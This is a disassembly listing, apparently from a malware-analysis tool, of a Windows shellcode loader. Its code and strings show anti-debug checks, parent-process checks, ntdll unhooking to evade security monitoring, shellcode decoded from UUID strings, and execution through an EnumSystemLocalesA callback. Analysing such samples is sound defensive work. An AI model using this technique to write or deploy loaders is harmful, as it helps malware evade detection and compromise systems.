Function at 0x140008380
Capabilities:
Check for peb beingdebugged flag
Link many functions at runtime

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x188
call fcn.140001510
lea rbx, [rsp + 0x50]
mov dword [rsp + 0x4c], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rdx, rbx
mov ecx, eax
call fcn.140007e50
test eax, eax
je 0x1400083f1
mov edx, dword [rsp + 0x58]
lea rsi, [rsp + 0x7c]
lea rcx, str.Current_pid___d__exename___s_n
mov r8, rsi
call fcn.140008140
mov edx, dword [rsp + 0x70]
lea rcx, str.We_found_the_parent_proccess_id_____d_n
call fcn.140008140
mov ecx, dword [rsp + 0x70]
mov rdx, rbx
call fcn.140007e50
test eax, eax
jne 0x14000851b
lea rcx, str.Deobfuscate_all__APIs__Libraries__Decryption_key_
call sub.msvcrt.dll_puts
call fcn.140007fc0
mov rsi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x1400090e0]
call rsi
mov rbx, rax
test rax, rax
je 0x140008506
lea rdi, [0x1400090f0]
mov rcx, rdi
call rsi
mov rsi, rax
test rax, rax
je 0x140008506
mov rbp, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x1400090c0]
mov rcx, rbx
call rbp
mov qword [0x140009190], rax
test rax, rax
je 0x140008506
lea rdx, [0x1400090d0]
mov rcx, rbx
call rbp
mov qword [0x1400091a0], rax
test rax, rax
je 0x140008506
lea rdx, [0x140009100]
mov rcx, rbx
call rbp
mov qword [0x1400091b0], rax
test rax, rax
je 0x140008506
lea rdx, [0x140009120]
mov rcx, rbx
call rbp
mov qword [0x1400091d0], rax
test rax, rax
je 0x140008506
lea rdx, [0x140009140]
mov rcx, rbx
call rbp
mov qword [0x1400091e0], rax
test rax, rax
je 0x140008506
lea rdx, [0x140009150]
mov rcx, rbx
call rbp
mov qword [0x1400091f0], rax
test rax, rax
je 0x140008506
xor eax, eax
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x30], rax
mov edx, 0x80000000
mov rcx, rdi
mov dword [rsp + 0x20], 3
call qword [0x140009190]
add rax, 1
je 0x14000855a
mov eax, 1
add rsp, 0x188
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov rdx, rsi
lea rcx, str.The_parent_process_is__s_n
call fcn.140008140
lea rdx, str.cmd.exe
mov rcx, rsi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x1400083f1
lea rdx, str.powershell.exe
mov rcx, rsi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x1400083f1
jmp 0x140008506
mov rbx, qword gs:[0x60]
cmp byte [rbx + 2], 0
jne 0x140008677
mov ecx, 0xe600000
mov edx, 1
call sub.msvcrt.dll_calloc
mov rcx, rax
test rax, rax
je 0x140008506
call sub.msvcrt.dll_free
lea rcx, str.Try_to_find_ntdll.dll_base_address_from_PEB__without_call_GetModuleHandle_LoadLibrary
call sub.msvcrt.dll_puts
mov rcx, rbx
call fcn.1400082d0
mov rbx, rax
test rax, rax
je 0x1400086f0
mov rdx, rax
lea rcx, str.ntdll_base_address___p_n
call fcn.140008140
lea rcx, str.Try_to_unhook_ntdll
call sub.msvcrt.dll_puts
mov rcx, rbx
call fcn.140007de0
test eax, eax
je 0x140008701
mov edx, dword [0x140009180]
test edx, edx
je 0x140008688
lea rcx, str.There_were__d_hooked_syscalls_n
call fcn.140008140
lea r12, [rsi + 0x1000]
lea rcx, str.Shellcode_will_be_written_at__p_n
mov rdx, r12
lea r13, [rsp + 0x4c]
mov qword [0x1400091c0], r12
call fcn.140008140
mov r9, r13
mov edx, 0x110
mov rcx, r12
mov r8d, 4
call qword [0x1400091f0]
test rax, rax
je 0x140008506
lea rcx, str.Deobfuscate_UUIDs__and_obtain_encrypted_shellcode_from_it
lea rdi, str.c4f627a5_9a91_20a5_616e_61342d392634
add rsi, 0x1110
mov rbx, r12
call sub.msvcrt.dll_puts
mov rbp, qword [sym.imp.RPCRT4.dll_UuidFromStringA]
jmp 0x140008663
add rbx, 0x10
add rdi, 8
cmp rsi, rbx
je 0x140008699
mov rcx, qword [rdi]
mov rdx, rbx
call rbp
cmp eax, 0x6a9
jne 0x140008656
jmp 0x140008506
lea rcx, str.The_current_process_running_under_debugger
call sub.msvcrt.dll_puts
jmp 0x140008506
lea rcx, str.There_are_no_hooked_syscalls
call sub.msvcrt.dll_puts
jmp 0x1400085ee
lea rcx, str.Decrypt_shellcode
call sub.msvcrt.dll_puts
call fcn.1400081b0
mov r8d, dword [rsp + 0x4c]
mov r9, r13
mov rcx, r12
mov edx, 0x110
call qword [0x1400091f0]
test rax, rax
je 0x140008506
lea rcx, str.Inject_shellcode__without_creating_a_new_thread
call sub.msvcrt.dll_puts
mov edx, 2
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
test eax, eax
setne al
movzx eax, al
jmp 0x14000850b
lea rcx, str.Could_not_find_ntdll.dll
call sub.msvcrt.dll_puts
jmp 0x140008506
lea rcx, str.Something_goes_wrong_in_UnHooking_phase
call sub.msvcrt.dll_puts
jmp 0x140008506